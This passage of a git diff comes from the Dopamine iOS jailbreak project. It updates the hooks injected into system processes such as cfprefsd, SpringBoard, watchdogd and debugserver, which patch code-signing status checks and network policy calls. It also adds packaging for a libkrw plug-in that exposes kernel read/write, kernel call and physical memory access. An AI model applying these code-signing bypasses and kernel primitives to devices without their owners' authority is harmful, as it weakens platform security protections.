0) { - if (strcmp(gExecutablePath, "/usr/sbin/cfprefsd") == 0) { - dlopen_hook(JBRootPath("/basebin/rootlesshooks.dylib"), RTLD_NOW); + if (load_executable_path() == 0) { + // Load rootlesshooks / watchdoghook when neccessary + if (!strcmp(gExecutablePath, "/usr/sbin/cfprefsd") || + !strcmp(gExecutablePath, "/System/Library/CoreServices/SpringBoard.app/SpringBoard") || + !strcmp(gExecutablePath, "/usr/libexec/lsd")) { + dlopen(JBROOT_PATH("/basebin/rootlesshooks.dylib"), RTLD_NOW); + } + else if (!strcmp(gExecutablePath, "/usr/libexec/watchdogd")) { + dlopen(JBROOT_PATH("/basebin/watchdoghook.dylib"), RTLD_NOW); } - else if (strcmp(gExecutablePath, "/usr/libexec/watchdogd") == 0) { - dlopen_hook(JBRootPath("/basebin/watchdoghook.dylib"), RTLD_NOW); + + // ptrace hook to allow attaching a debugger to processes that systemhook did not inject into + // e.g. allows attaching debugserver to an app where tweak injection has been disabled via choicy + // since we want to keep hooks minimal and debugserver is the only thing I can think of that would + // call ptrace and expect it to allow invalid pages, we only hook it in debugserver + // this check is a bit shit since we rely on the name of the binary, but who cares ¯\_(ツ)_/¯ + if (string_has_suffix(gExecutablePath, "/debugserver")) { + litehook_hook_function(ptrace, ptrace_hook); } - if (shouldEnableTweaks()) { +#ifndef __arm64e__ + // On arm64, writing to executable pages removes CS_VALID from the csflags of the process + // These hooks are neccessary to get the system to behave with this (since multiple system APIs check for CS_VALID and produce failures if it's not set) + // They are ugly but needed + litehook_hook_function(csops, csops_hook); + litehook_hook_function(csops_audittoken, csops_audittoken_hook); + if (__builtin_available(iOS 16.0, *)) { + litehook_hook_function(necp_match_policy, necp_match_policy_hook); + litehook_hook_function(necp_open, necp_open_hook); + litehook_hook_function(necp_client_action, necp_client_action_hook); + litehook_hook_function(necp_session_open, necp_session_open_hook); + litehook_hook_function(necp_session_action, necp_session_action_hook); + } +#endif + // Load tweaks if desired + // We can hardcode /var/jb here since if it doesn't exist, loading TweakLoader.dylib is not going to work anyways + if (should_enable_tweaks()) { const char *tweakLoaderPath = "/var/jb/usr/lib/TweakLoader.dylib"; - if(access(tweakLoaderPath, F_OK) == 0) { - gTweaksEnabled = true; - void *tweakLoaderHandle = dlopen_hook(tweakLoaderPath, RTLD_NOW); + if (access(tweakLoaderPath, F_OK) == 0) { + void *tweakLoaderHandle = dlopen(tweakLoaderPath, RTLD_NOW); if (tweakLoaderHandle != NULL) { dlclose(tweakLoaderHandle); } } } - } -} -DYLD_INTERPOSE(posix_spawn_hook, posix_spawn) -DYLD_INTERPOSE(posix_spawnp_hook, posix_spawnp) -DYLD_INTERPOSE(execve_hook, execve) -DYLD_INTERPOSE(execle_hook, execle) -DYLD_INTERPOSE(execlp_hook, execlp) -DYLD_INTERPOSE(execv_hook, execv) -DYLD_INTERPOSE(execl_hook, execl) -DYLD_INTERPOSE(execvp_hook, execvp) -DYLD_INTERPOSE(execvP_hook, execvP) -DYLD_INTERPOSE(dlopen_hook, dlopen) -DYLD_INTERPOSE(dlopen_from_hook, dlopen_from) -DYLD_INTERPOSE(dlopen_audited_hook, dlopen_audited) -DYLD_INTERPOSE(dlopen_preflight_hook, dlopen_preflight) -DYLD_INTERPOSE(sandbox_init_hook, sandbox_init) -DYLD_INTERPOSE(sandbox_init_with_parameters_hook, sandbox_init_with_parameters) -DYLD_INTERPOSE(sandbox_init_with_extensions_hook, sandbox_init_with_extensions) -DYLD_INTERPOSE(ptrace_hook, ptrace) -#ifdef __arm64e__ -DYLD_INTERPOSE(fork_hook, fork) -DYLD_INTERPOSE(vfork_hook, vfork) -DYLD_INTERPOSE(forkpty_hook, forkpty) -DYLD_INTERPOSE(daemon_hook, daemon) +#ifndef __arm64e__ + // Feeable attempt at adding back CS_VALID + jbclient_cs_revalidate(); #endif + } +} \ No newline at end of file diff --git a/BaseBin/systemhook/src/private.h b/BaseBin/systemhook/src/private.h new file mode 100644 index 0000000000..4452bdc6e0 --- /dev/null +++ b/BaseBin/systemhook/src/private.h @@ -0,0 +1,67 @@ +#ifndef SYSTEMHOOK_PRIVATE +#define SYSTEMHOOK_PRIVATE + +#include + +#define SYS_ptrace 0x1A +#define SYS_execve 0x3B +#define SYS_posix_spawn 0xF4 +#define SYS_csops 0xA9 +#define SYS_csops_audittoken 0xAA +#define SYS_necp_match_policy 0x1CC +#define SYS_necp_open 0x1F5 +#define SYS_necp_client_action 0x1F6 +#define SYS_necp_session_open 0x20A +#define SYS_necp_session_action 0x20B + +int necp_match_policy(uint8_t *parameters, size_t parameters_size, void *returned_result); +int necp_open(int flags); +int necp_client_action(int necp_fd, uint32_t action, uuid_t client_id, size_t client_id_len, uint8_t *buffer, size_t buffer_size); +int necp_session_open(int flags); +int necp_session_action(int necp_fd, uint32_t action, uint8_t *in_buffer, size_t in_buffer_length, uint8_t *out_buffer, size_t out_buffer_length); + +int ptrace(int request, pid_t pid, caddr_t addr, int data); +#define PT_ATTACH 10 /* trace some running process */ +#define PT_ATTACHEXC 14 /* attach to running process with signal exception */ + +#define POSIX_SPAWN_PROC_TYPE_DRIVER 0x700 +int posix_spawnattr_getprocesstype_np(const posix_spawnattr_t * __restrict, int * __restrict) __API_AVAILABLE(macos(10.8), ios(6.0)); + +#define POSIX_SPAWNATTR_OFF_MEMLIMIT_ACTIVE 0x48 +#define POSIX_SPAWNATTR_OFF_MEMLIMIT_INACTIVE 0x4C +#define POSIX_SPAWNATTR_OFF_LAUNCH_TYPE 0xA8 + +extern char **environ; + +struct _posix_spawn_args_desc { + size_t attr_size; + posix_spawnattr_t attrp; + + size_t file_actions_size; + void *file_actions; + + size_t port_actions_size; + void *port_actions; + + size_t mac_extensions_size; + void *mac_extensions; + + size_t coal_info_size; + struct _posix_spawn_coalition_info *coal_info; + + size_t persona_info_size; + void *persona_info; + + size_t posix_cred_info_size; + void *posix_cred_info; + + size_t subsystem_root_path_size; + char *subsystem_root_path; + + size_t conclave_id_size; + char *conclave_id; +}; + +extern bool _dyld_get_image_uuid(const struct mach_header* mh, uuid_t uuid); + +#endif \ No newline at end of file diff --git a/BaseBin/watchdoghook/Makefile b/BaseBin/watchdoghook/Makefile index a4b14a1e11..7adfa032e3 100644 --- a/BaseBin/watchdoghook/Makefile +++ b/BaseBin/watchdoghook/Makefile @@ -7,7 +7,7 @@ LDFLAGS = -dynamiclib -rpath /var/jb/Library/Frameworks -rpath @loader_path/fall sign: $(TARGET) @ldid -S $^ -$(TARGET): $(wildcard src/*.m src/*.c ../libjailbreak/src/jbclient_xpc.c) +$(TARGET): $(wildcard src/*.m src/*.c ../libjailbreak/src/jbclient_*.c) $(CC) $(CFLAGS) $(LDFLAGS) -o $@ $^ clean: diff --git a/BaseBin/watchdoghook/src/main.m b/BaseBin/watchdoghook/src/main.m index 5b74471350..28829b12bf 100644 --- a/BaseBin/watchdoghook/src/main.m +++ b/BaseBin/watchdoghook/src/main.m @@ -4,7 +4,10 @@ #include #include -#include "substrate.h" +#include + +int reboot3(uint64_t flags, ...); +#define RB2_USERREBOOT (0x2000000000000000llu) kern_return_t (*IOConnectCallStructMethod_orig)(mach_port_t connection, uint32_t selector, const void *inputStruct, size_t inputStructCnt, void *outputStruct, size_t *outputStructCnt) = NULL; kern_return_t (*IOServiceOpen_orig)(io_service_t service, task_port_t owningTask, uint32_t type, io_connect_t *connect); @@ -26,7 +29,11 @@ kern_return_t IOConnectCallStructMethod_hook(mach_port_t connection, uint32_t se { if (connection == gIOWatchdogConnection) { if (selector == 2) { - return jbclient_watchdog_intercept_userspace_panic((const char *)inputStruct); + int r = jbclient_watchdog_intercept_userspace_panic((const char *)inputStruct); + if (r == 0) { + reboot3(RB2_USERREBOOT); + } + return r; } } return IOConnectCallStructMethod_orig(connection, selector, inputStruct, inputStructCnt, outputStruct, outputStructCnt); @@ -34,6 +41,6 @@ kern_return_t IOConnectCallStructMethod_hook(mach_port_t connection, uint32_t se __attribute__((constructor)) static void initializer(void) { - //MSHookFunction(IOServiceOpen, (void *)&IOServiceOpen_hook, (void **)&IOServiceOpen_orig); - //MSHookFunction(IOConnectCallStructMethod, (void *)&IOConnectCallStructMethod_hook, (void **)&IOConnectCallStructMethod_orig); + MSHookFunction(IOServiceOpen, (void *)&IOServiceOpen_hook, (void **)&IOServiceOpen_orig); + MSHookFunction(IOConnectCallStructMethod, (void *)&IOConnectCallStructMethod_hook, (void **)&IOConnectCallStructMethod_orig); } \ No newline at end of file diff --git a/LICENSE.md b/LICENSE.md index 2fb14f27d6..3e876146d9 100644 --- a/LICENSE.md +++ b/LICENSE.md @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2023 Lars Fröder (opa334) +Copyright (c) 2023-2024 Lars Fröder (opa334) Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/Makefile b/Makefile index 089b7bc7d6..d6bbca8589 100644 --- a/Makefile +++ b/Makefile @@ -1,14 +1,27 @@ +export NIGHTLY ?= 0 + +ifeq ($(NIGHTLY), 1) +export COMMIT_HASH = $(shell git rev-parse HEAD) +endif + all: @$(MAKE) -C BaseBin + @$(MAKE) -C Packages @$(MAKE) -C Application clean: @$(MAKE) -C BaseBin clean + @$(MAKE) -C Packages clean @$(MAKE) -C Application clean update: all ssh $(DEVICE) "rm -rf /var/mobile/Documents/Dopamine.tipa" - scp ./Application/Dopamine.tipa "$(DEVICE):/var/mobile/Documents/Dopamine.tipa" + scp -C ./Application/Dopamine.tipa "$(DEVICE):/var/mobile/Documents/Dopamine.tipa" ssh $(DEVICE) "/var/jb/basebin/jbctl update tipa /var/mobile/Documents/Dopamine.tipa" +update-basebin: all + ssh $(DEVICE) "rm -rf /var/mobile/Documents/basebin.tar" + scp -C ./BaseBin/basebin.tar "$(DEVICE):/var/mobile/Documents/basebin.tar" + ssh $(DEVICE) "/var/jb/basebin/jbctl update basebin /var/mobile/Documents/basebin.tar" + .PHONY: update clean \ No newline at end of file diff --git a/Packages/.gitignore b/Packages/.gitignore new file mode 100644 index 0000000000..0dcd0fd045 --- /dev/null +++ b/Packages/.gitignore @@ -0,0 +1,3 @@ +libkrw-provider/libkrw-dopamine.* +libroot/libroot.* +basebin-link/basebin-link.* \ No newline at end of file diff --git a/Packages/Makefile b/Packages/Makefile new file mode 100644 index 0000000000..15d9d1d33c --- /dev/null +++ b/Packages/Makefile @@ -0,0 +1,11 @@ +all: + @$(MAKE) -C libkrw-provider package + @$(MAKE) -C libroot package + @$(MAKE) -C basebin-link package + +clean: + @$(MAKE) -C libkrw-provider clean + @$(MAKE) -C libroot clean + @$(MAKE) -C basebin-link clean + +.PHONY: clean \ No newline at end of file diff --git a/Packages/basebin-link/Makefile b/Packages/basebin-link/Makefile new file mode 100644 index 0000000000..68dbb795a1 --- /dev/null +++ b/Packages/basebin-link/Makefile @@ -0,0 +1,13 @@ +package: $(TARGET) + @mkdir -p .package/DEBIAN + @mkdir -p .package/var/jb/usr/bin + @mkdir -p .package/var/jb/usr/lib + @cp control .package/DEBIAN/control + @ln -s ../../basebin/jbctl .package/var/jb/usr/bin/jbctl + @ln -s ../../basebin/opainject .package/var/jb/usr/bin/opainject + @ln -s ../../basebin/libjailbreak.dylib .package/var/jb/usr/lib/libjailbreak.dylib + @dpkg-deb --root-owner-group -Zzstd -b .package ./basebin-link.deb + @rm -rf .package + +clean: + @rm -rf basebin-link.deb \ No newline at end of file diff --git a/Packages/basebin-link/control b/Packages/basebin-link/control new file mode 100644 index 0000000000..6cf6c348ae --- /dev/null +++ b/Packages/basebin-link/control @@ -0,0 +1,11 @@ +Package: dopamine-basebin-link +Name: Dopamine BaseBin Link +Author: opa334 +Maintainer: opa334 +Architecture: iphoneos-arm64 +Version: 1.0.0 +Provides: opainject +Section: Libraries +Priority: standard +Homepage: https://github.com/opa334/Dopamine/tree/main/BaseBin +Description: Symlinks to Dopamine Base Binaries diff --git a/Packages/libkrw-provider/Makefile b/Packages/libkrw-provider/Makefile new file mode 100644 index 0000000000..ae6e66f62f --- /dev/null +++ b/Packages/libkrw-provider/Makefile @@ -0,0 +1,26 @@ +TARGET = libkrw-dopamine.dylib +CC = clang + +CFLAGS = -I../../BaseBin/.include -Isrc -isysroot $(shell xcrun --sdk iphoneos --show-sdk-path) -arch arm64 -arch arm64e -miphoneos-version-min=15.0 -fobjc-arc -O2 +LDFLAGS = -dynamiclib -rpath /var/jb/usr/lib -L../../BaseBin/.build -ljailbreak + +all: $(TARGET) sign + +sign: $(TARGET) + @ldid -S $^ + +$(TARGET): $(wildcard src/*.c) + $(CC) $(CFLAGS) $(LDFLAGS) -o $@ $^ + install_name_tool -change "@loader_path/libjailbreak.dylib" "@rpath/libjailbreak.dylib" $@ + +clean: + @rm -f $(TARGET) + @rm -f libkrw-dopamine.deb + +package: all + @mkdir -p .package/DEBIAN + @mkdir -p .package/var/jb/usr/lib/libkrw + @cp control .package/DEBIAN/control + @cp libkrw-dopamine.dylib .package/var/jb/usr/lib/libkrw/libkrw-dopamine.dylib + @dpkg-deb --root-owner-group -Zzstd -b .package ./libkrw-dopamine.deb + @rm -rf .package diff --git a/Packages/libkrw-provider/control b/Packages/libkrw-provider/control new file mode 100644 index 0000000000..da3e93b428 --- /dev/null +++ b/Packages/libkrw-provider/control @@ -0,0 +1,12 @@ +Package: libkrw0-dopamine +Name: libkrw Plug-in (Dopamine) +Author: opa334 +Maintainer: opa334 +Architecture: iphoneos-arm64 +Version: 2.0.4 +Provides: libkrw0-plugin +Depends: libiosexec1 (>= 1.3.1) +Section: Libraries +Priority: standard +Homepage: https://github.com/opa334/Dopamine/tree/main/Packages/libkrw-provider +Description: libkrw Plug-in for Dopamine (Shared Library) diff --git a/Packages/libkrw-provider/src/main.c b/Packages/libkrw-provider/src/main.c new file mode 100644 index 0000000000..d44c8e8a6a --- /dev/null +++ b/Packages/libkrw-provider/src/main.c @@ -0,0 +1,63 @@ +#include +#include +#include +#include + +static void load_primitives_once(void) +{ + static dispatch_once_t onceToken; + dispatch_once (&onceToken, ^{ + jbclient_initialize_primitives(); + }); +} + +static int kwritebuf_wrapper(void *from, uint64_t to, size_t len) +{ + return kwritebuf(to, from, len); +} + +static int kcall_wrapper(uint64_t func, size_t argc, const uint64_t *argv, uint64_t *ret) +{ + if (is_kcall_available()) { + return kcall(ret, func, argc, argv); + } + return ENOTSUP; +} + +static int physreadbuf_wrapper(uint64_t from, void *to, size_t len, uint8_t granule) +{ + return physreadbuf(from, to, len); +} + +static int physwritebuf_wrapper(void *from, uint64_t to, size_t len, uint8_t granule) +{ + return physwritebuf(to, from, len); +} + +static int kbase_wrapper(uint64_t *kbase) +{ + *kbase = kconstant(base); + return 0; +} + +__attribute__((used)) int krw_initializer(krw_handlers_t handlers) +{ + load_primitives_once(); + + handlers->kbase = kbase_wrapper; + handlers->kread = kreadbuf; + handlers->kwrite = kwritebuf_wrapper; + handlers->kmalloc = (krw_kmalloc_func_t)(kalloc); + handlers->kdealloc = (krw_kdealloc_func_t)(kfree); + return 0; +} + +__attribute__((used)) int kcall_initializer(krw_handlers_t handlers) +{ + load_primitives_once(); + + handlers->kcall = kcall_wrapper; + handlers->physread = physreadbuf_wrapper; + handlers->physwrite = physwritebuf_wrapper; + return 0; +} \ No newline at end of file diff --git a/Packages/libroot/Makefile b/Packages/libroot/Makefile new file mode 100644 index 0000000000..839a2042a7 --- /dev/null +++ b/Packages/libroot/Makefile @@ -0,0 +1,25 @@ +TARGET = libroot.dylib +CC = clang + +CFLAGS = -I../../BaseBin/.include -Isrc -isysroot $(shell xcrun --sdk iphoneos --show-sdk-path) -arch arm64 -arch arm64e -miphoneos-version-min=15.0 -fobjc-arc -O2 +LDFLAGS = -dynamiclib -rpath /var/jb + +all: $(TARGET) sign + +sign: $(TARGET) + @ldid -S $^ + +$(TARGET): $(wildcard src/*.c ../../BaseBin/libjailbreak/src/jbclient_*.c) + $(CC) $(CFLAGS) $(LDFLAGS) -o $@ $^ + +clean: + @rm -f $(TARGET) + @rm -f libroot.deb + +package: all + @mkdir -p .package/DEBIAN + @mkdir -p .package/var/jb/usr/lib + @cp control .package/DEBIAN/control + @cp libroot.dylib .package/var/jb/usr/lib/libroot.dylib + @dpkg-deb --root-owner-group -Zzstd -b .package ./libroot.deb + @rm -rf .package \ No newline at end of file diff --git a/Packages/libroot/control b/Packages/libroot/control new file mode 100644 index 0000000000..4d60381338 --- /dev/null +++ b/Packages/libroot/control @@ -0,0 +1,9 @@ +Package: libroot-dopamine +Name: libroot (Dopamine) +Author: opa334 +Maintainer: opa334 +Architecture: iphoneos-arm64 +Version: 1.0.1 +Priority: optional +Section: Development +Description: libroot for Dopamine diff --git a/Packages/libroot/src/paths.c b/Packages/libroot/src/paths.c new file mode 100644 index 0000000000..d52573f7e8 --- /dev/null +++ b/Packages/libroot/src/paths.c @@ -0,0 +1,16 @@ +#include + +const char *libroot_get_root_prefix(void) +{ + return ""; +} + +const char *libroot_get_jbroot_prefix(void) +{ + return jbclient_get_jbroot(); +} + +const char *libroot_get_boot_uuid(void) +{ + return jbclient_get_boot_uuid(); +} diff --git a/Packages/libroot/src/paths.h b/Packages/libroot/src/paths.h new file mode 100644 index 0000000000..e499286458 --- /dev/null +++ b/Packages/libroot/src/paths.h @@ -0,0 +1,8 @@ +#ifndef LIBROOT_PATHS_H +#define LIBROOT_PATHS_H + +const char *libroot_get_root_prefix(void); +const char *libroot_get_jbroot_prefix(void); +const char *libroot_get_boot_uuid(void); + +#endif \ No newline at end of file diff --git a/README.md b/README.md index 620420001f..8142f0508a 100644 --- a/README.md +++ b/README.md @@ -2,6 +2,8 @@ # Dopamine -Rootless arm64e jailbreak for iOS 15.0 - 15.4.1. More details will follow here soon. +A rootless semi-untethered jailbreak for iOS 15.0 - 16.5.1 (arm64e) and iOS 15.0 - 15.8.6 / 16.0 - 16.6.1 (arm64). More details will follow here soon. + +Please note that all issues related to version support will be deleted without response. Official website / download: https://ellekit.space/dopamine/ diff --git a/sort_localizations.sh b/sort_localizations.sh new file mode 100755 index 0000000000..7cee90312b --- /dev/null +++ b/sort_localizations.sh @@ -0,0 +1,25 @@ +localisort -t ./Application/Dopamine/en.lproj/Localizable.strings -i ./Application/Dopamine/ar.lproj/Localizable.strings -r +localisort -t ./Application/Dopamine/en.lproj/Localizable.strings -i ./Application/Dopamine/da.lproj/Localizable.strings -r +localisort -t ./Application/Dopamine/en.lproj/Localizable.strings -i ./Application/Dopamine/de.lproj/Localizable.strings -r +localisort -t ./Application/Dopamine/en.lproj/Localizable.strings -i ./Application/Dopamine/el.lproj/Localizable.strings -r +localisort -t ./Application/Dopamine/en.lproj/Localizable.strings -i ./Application/Dopamine/es.lproj/Localizable.strings -r +localisort -t ./Application/Dopamine/en.lproj/Localizable.strings -i ./Application/Dopamine/fil.lproj/Localizable.strings -r +localisort -t ./Application/Dopamine/en.lproj/Localizable.strings -i ./Application/Dopamine/fr.lproj/Localizable.strings -r +localisort -t ./Application/Dopamine/en.lproj/Localizable.strings -i ./Application/Dopamine/it.lproj/Localizable.strings -r +localisort -t ./Application/Dopamine/en.lproj/Localizable.strings -i ./Application/Dopamine/ja.lproj/Localizable.strings -r +localisort -t ./Application/Dopamine/en.lproj/Localizable.strings -i ./Application/Dopamine/ko.lproj/Localizable.strings -r +localisort -t ./Application/Dopamine/en.lproj/Localizable.strings -i ./Application/Dopamine/kk.lproj/Localizable.strings -r +localisort -t ./Application/Dopamine/en.lproj/Localizable.strings -i ./Application/Dopamine/nl.lproj/Localizable.strings -r +localisort -t ./Application/Dopamine/en.lproj/Localizable.strings -i ./Application/Dopamine/pl.lproj/Localizable.strings -r +localisort -t ./Application/Dopamine/en.lproj/Localizable.strings -i ./Application/Dopamine/pt-BR.lproj/Localizable.strings -r +localisort -t ./Application/Dopamine/en.lproj/Localizable.strings -i ./Application/Dopamine/ru.lproj/Localizable.strings -r +localisort -t ./Application/Dopamine/en.lproj/Localizable.strings -i ./Application/Dopamine/sv.lproj/Localizable.strings -r +localisort -t ./Application/Dopamine/en.lproj/Localizable.strings -i ./Application/Dopamine/th.lproj/Localizable.strings -r +localisort -t ./Application/Dopamine/en.lproj/Localizable.strings -i ./Application/Dopamine/tr.lproj/Localizable.strings -r +localisort -t ./Application/Dopamine/en.lproj/Localizable.strings -i ./Application/Dopamine/uk.lproj/Localizable.strings -r +localisort -t ./Application/Dopamine/en.lproj/Localizable.strings -i ./Application/Dopamine/ur.lproj/Localizable.strings -r +localisort -t ./Application/Dopamine/en.lproj/Localizable.strings -i ./Application/Dopamine/vi.lproj/Localizable.strings -r +localisort -t ./Application/Dopamine/en.lproj/Localizable.strings -i ./Application/Dopamine/zh-CN.lproj/Localizable.strings -r +localisort -t ./Application/Dopamine/en.lproj/Localizable.strings -i ./Application/Dopamine/zh-Hans.lproj/Localizable.strings -r +localisort -t ./Application/Dopamine/en.lproj/Localizable.strings -i ./Application/Dopamine/zh-HK.lproj/Localizable.strings -r +localisort -t ./Application/Dopamine/en.lproj/Localizable.strings -i ./Application/Dopamine/zh-TW.lproj/Localizable.strings -r